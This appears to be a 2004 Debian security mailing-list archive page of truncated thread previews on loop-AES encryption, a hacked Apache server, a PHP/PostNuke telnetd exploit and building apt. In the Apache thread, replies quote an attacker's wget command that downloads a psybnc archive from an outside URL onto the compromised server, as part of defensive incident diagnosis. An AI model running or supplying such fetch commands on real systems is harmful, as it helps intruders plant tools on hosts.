Re: 2.6.1 CryptoAPI woes

2004-01-20 Thread Peter Cordes
On Tue, Jan 20, 2004 at 11:58:41PM -0500, Hubert Chan wrote: > > "Johannes" == Johannes Graumann <[EMAIL PROTECTED]> writes: > > [...] > > Johannes> And on another note: in > Johannes> > http://www.mirrors.wiretapped.net/security/cryptography/filesystems/loop-aes/loop-AES.README > Johannes>

Re: 2.6.1 CryptoAPI woes

2004-01-20 Thread Hubert Chan
> "Hubert" == Hubert Chan <[EMAIL PROTECTED]> writes: replying to self... [...] Hubert> The comment has nothing to do with whether or not your encrypted Hubert> filesystem is a journaling filesystem with or without Hubert> data=ordered. ... Hmmm. Maybe I should learn to read... :-( So tha

information security trends and patterns for 2003

2004-01-20 Thread abe.usher
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Re: 2.6.1 CryptoAPI woes

2004-01-20 Thread Hubert Chan
> "Johannes" == Johannes Graumann <[EMAIL PROTECTED]> writes: [...] Johannes> And on another note: in Johannes> http://www.mirrors.wiretapped.net/security/cryptography/filesystems/loop-aes/loop-AES.README Johannes> I read the following: "Don't use a journaling file system on Johannes> top of

Re: 2.6.1 CryptoAPI woes

2004-01-20 Thread Peter Cordes
On Tue, Jan 20, 2004 at 11:58:41PM -0500, Hubert Chan wrote: > > "Johannes" == Johannes Graumann <[EMAIL PROTECTED]> writes: > > [...] > > Johannes> And on another note: in > Johannes> > http://www.mirrors.wiretapped.net/security/cryptography/filesystems/loop-aes/loop-AES.README > Johannes>

Re: 2.6.1 CryptoAPI woes

2004-01-20 Thread Hubert Chan
> "Hubert" == Hubert Chan <[EMAIL PROTECTED]> writes: replying to self... [...] Hubert> The comment has nothing to do with whether or not your encrypted Hubert> filesystem is a journaling filesystem with or without Hubert> data=ordered. ... Hmmm. Maybe I should learn to read... :-( So tha

Re: 2.6.1 CryptoAPI woes

2004-01-20 Thread Hubert Chan
> "Johannes" == Johannes Graumann <[EMAIL PROTECTED]> writes: [...] Johannes> And on another note: in Johannes> http://www.mirrors.wiretapped.net/security/cryptography/filesystems/loop-aes/loop-AES.README Johannes> I read the following: "Don't use a journaling file system on Johannes> top of

Re: strange apache error.log entry

2004-01-20 Thread François TOURDE
Le 12438ième jour après Epoch, [EMAIL PROTECTED] écrivait: > Hi, > >> can you tell me what the following means in an apache error.log and > > The log is the out put of wget command.Most probably the command which > resulted in this entry is "wget > http://www.geocities.com/fonias28/psybnc.tgz -o >

Re: strange apache error.log entry

2004-01-20 Thread Russell Coker
On Wed, 21 Jan 2004 11:28, Markus Schabel <[EMAIL PROTECTED]> wrote: > hello folks! > > can you tell me what the following means in an apache error.log and > where it comes from? I've searched through all other apache log files > but didn't find something that could generate this. > (sure, the serv

Re: strange apache error.log entry

2004-01-20 Thread GirishViswambharan
Hi, > can you tell me what the following means in an apache error.log and The log is the out put of wget command.Most probably the command which resulted in this entry is "wget http://www.geocities.com/fonias28/psybnc.tgz -o /var/log/apache/error.log" Rgds, Girish. --

Re: strange apache error.log entry

2004-01-20 Thread Jan Minar
On Wed, Jan 21, 2004 at 01:28:32AM +0100, Markus Schabel wrote: I don't know what the surrounding lines are, but the core of your posting is a wget(1) logfile/stderr output :-) This isn't the standard wget in the main distribution; IIRC, it's the busybox' one. Busybox' small footprint makes it i

Re: strange apache error.log entry

2004-01-20 Thread François TOURDE
Le 12438ième jour après Epoch, [EMAIL PROTECTED] écrivait: > Hi, > >> can you tell me what the following means in an apache error.log and > > The log is the out put of wget command.Most probably the command which > resulted in this entry is "wget > http://www.geocities.com/fonias28/psybnc.tgz -o >

strange apache error.log entry

2004-01-20 Thread Markus Schabel
hello folks! can you tell me what the following means in an apache error.log and where it comes from? I've searched through all other apache log files but didn't find something that could generate this. (sure, the server got hacked and is out-of-order now...) /var/log/apache/error.log: [Sun Ja

Re: strange apache error.log entry

2004-01-20 Thread Russell Coker
On Wed, 21 Jan 2004 11:28, Markus Schabel <[EMAIL PROTECTED]> wrote: > hello folks! > > can you tell me what the following means in an apache error.log and > where it comes from? I've searched through all other apache log files > but didn't find something that could generate this. > (sure, the serv

Re: strange apache error.log entry

2004-01-20 Thread GirishViswambharan
Hi, > can you tell me what the following means in an apache error.log and The log is the out put of wget command.Most probably the command which resulted in this entry is "wget http://www.geocities.com/fonias28/psybnc.tgz -o /var/log/apache/error.log" Rgds, Girish. -- -- To UNSUBSCRIBE

Re: strange apache error.log entry

2004-01-20 Thread Jan Minar
On Wed, Jan 21, 2004 at 01:28:32AM +0100, Markus Schabel wrote: I don't know what the surrounding lines are, but the core of your posting is a wget(1) logfile/stderr output :-) This isn't the standard wget in the main distribution; IIRC, it's the busybox' one. Busybox' small footprint makes it i

strange apache error.log entry

2004-01-20 Thread Markus Schabel
hello folks! can you tell me what the following means in an apache error.log and where it comes from? I've searched through all other apache log files but didn't find something that could generate this. (sure, the server got hacked and is out-of-order now...) /var/log/apache/error.log: [Sun Jan 18

Re: 2.6.1 CryptoAPI woes

2004-01-20 Thread Thomas Sjögren
On Tue, Jan 20, 2004 at 08:47:40AM -0800, Johannes Graumann wrote: > Now: how do I make sure this is AES-256 and not some other permutation > of the cypher? You use the losetup -k (or --keybits) option. Eg. losetup -e aes -k 256 ... /Thomas -- == [EMAIL PROTECTED] | [EMAIL PROTECTED] == Encrypte

Re: 2.6.1 CryptoAPI woes

2004-01-20 Thread Jan Minar
On Tue, Jan 20, 2004 at 08:47:40AM -0800, Johannes Graumann wrote: > "Don't use a journaling file system on top of file backed loop device, > unless underlying file system is journaled and guarantees data=ordered > or data=journal." AFAIK, This reads as: ``Don't think journalling buys you anything

2.6.1 CryptoAPI woes

2004-01-20 Thread Johannes Graumann
Hello, I set out to create an encrypted partition using my new 2.6.1 custom kernel (compiled from kernel.org sources, loopdevice and cryptoloop statically compiled in, ciphers present as modules). Following what was said in several HOWTOs, I said 'modprobe aes' and tried various permutations of 'l

Re: 2.6.1 CryptoAPI woes

2004-01-20 Thread Thomas Sjögren
On Tue, Jan 20, 2004 at 08:47:40AM -0800, Johannes Graumann wrote: > Now: how do I make sure this is AES-256 and not some other permutation > of the cypher? You use the losetup -k (or --keybits) option. Eg. losetup -e aes -k 256 ... /Thomas -- == [EMAIL PROTECTED] | [EMAIL PROTECTED] == Encrypte

Re: 2.6.1 CryptoAPI woes

2004-01-20 Thread Jan Minar
On Tue, Jan 20, 2004 at 08:47:40AM -0800, Johannes Graumann wrote: > "Don't use a journaling file system on top of file backed loop device, > unless underlying file system is journaled and guarantees data=ordered > or data=journal." AFAIK, This reads as: ``Don't think journalling buys you anything

2.6.1 CryptoAPI woes

2004-01-20 Thread Johannes Graumann
Hello, I set out to create an encrypted partition using my new 2.6.1 custom kernel (compiled from kernel.org sources, loopdevice and cryptoloop statically compiled in, ciphers present as modules). Following what was said in several HOWTOs, I said 'modprobe aes' and tried various permutations of 'l

Re: (php?) bug exploit report

2004-01-20 Thread Thomas Sjögren
On Tue, Jan 20, 2004 at 10:00:04AM +0100, Oliver Hitz wrote: > I think you should be able to avoid such exploits by using PHP's safe > mode. It allow you, among other things, to specify that only files in > a particular directory may be executed. This way, even if someone > succeeds uploading an ex

Re: (php?) bug exploit report

2004-01-20 Thread Thomas Sjögren
On Tue, Jan 20, 2004 at 10:00:04AM +0100, Oliver Hitz wrote: > I think you should be able to avoid such exploits by using PHP's safe > mode. It allow you, among other things, to specify that only files in > a particular directory may be executed. This way, even if someone > succeeds uploading an ex

Re: Release.gpg files gone?

2004-01-20 Thread Camillo Särs
Camillo Särs wrote: I will try that out, and will also try to compile against the older version of gettext. Stay tuned. ... Installing examples/configure-index to ../build/docs/examples make[2]: Leaving directory `/usr/local/src/apt-0.6.18/doc' make[2]: Entering directory `/usr/local/src/apt-0

Re: (php?) bug exploit report

2004-01-20 Thread Giannis Vrentzos
Chris Morris wrote: At 10:00 on Tue, 20 Jan 2004, Oliver Hitz wrote: On 19 Jan 2004, Csan wrote: The URL is part of a postnuke site and they could start up the telnetd binary with invoking an URL similar to the above URL! Is this a known sechole? I think you should be able to avoid such ex

Re: (php?) bug exploit report

2004-01-20 Thread Chris Morris
At 10:00 on Tue, 20 Jan 2004, Oliver Hitz wrote: > On 19 Jan 2004, Csan wrote: > > The URL is part of a postnuke site and they could start up the telnetd > > binary with invoking an URL similar to the above URL! Is this a known > > sechole? > > I think you should be able to avoid such exploits by u

Re: Release.gpg files gone?

2004-01-20 Thread Camillo Särs
Camillo Särs wrote: I will try that out, and will also try to compile against the older version of gettext. Stay tuned. ... Installing examples/configure-index to ../build/docs/examples make[2]: Leaving directory `/usr/local/src/apt-0.6.18/doc' make[2]: Entering directory `/usr/local/src/apt-0.6.

Re: (php?) bug exploit report

2004-01-20 Thread Oliver Hitz
On 19 Jan 2004, Csan wrote: > The URL is part of a postnuke site and they could start up the telnetd binary > with invoking an URL similar to the above URL! > Is this a known sechole? I think you should be able to avoid such exploits by using PHP's safe mode. It allow you, among other things, to s

Re: (php?) bug exploit report

2004-01-20 Thread Giannis Vrentzos
Chris Morris wrote: At 10:00 on Tue, 20 Jan 2004, Oliver Hitz wrote: On 19 Jan 2004, Csan wrote: The URL is part of a postnuke site and they could start up the telnetd binary with invoking an URL similar to the above URL! Is this a known sechole? I think you should be able to avoid such exploits

Re: Release.gpg files gone?

2004-01-20 Thread Camillo Särs
Matt Zimmerman wrote: Can you be more specific? After installing libdb2-dev, which I did not have, the result from attempting a build is: [EMAIL PROTECTED]:/usr/local/src/apt-0.6.18$ dpkg-buildpackage -uc -us -B dpkg-buildpackage: source package is apt dpkg-buildpackage: source version is 0

Re: (php?) bug exploit report

2004-01-20 Thread Chris Morris
At 10:00 on Tue, 20 Jan 2004, Oliver Hitz wrote: > On 19 Jan 2004, Csan wrote: > > The URL is part of a postnuke site and they could start up the telnetd > > binary with invoking an URL similar to the above URL! Is this a known > > sechole? > > I think you should be able to avoid such exploits by u

Re: (php?) bug exploit report

2004-01-20 Thread Oliver Hitz
On 19 Jan 2004, Csan wrote: > The URL is part of a postnuke site and they could start up the telnetd binary > with invoking an URL similar to the above URL! > Is this a known sechole? I think you should be able to avoid such exploits by using PHP's safe mode. It allow you, among other things, to s

Re: Release.gpg files gone?

2004-01-20 Thread Camillo Särs
Matt Zimmerman wrote: Can you be more specific? After installing libdb2-dev, which I did not have, the result from attempting a build is: [EMAIL PROTECTED]:/usr/local/src/apt-0.6.18$ dpkg-buildpackage -uc -us -B dpkg-buildpackage: source package is apt dpkg-buildpackage: source version is 0.6.1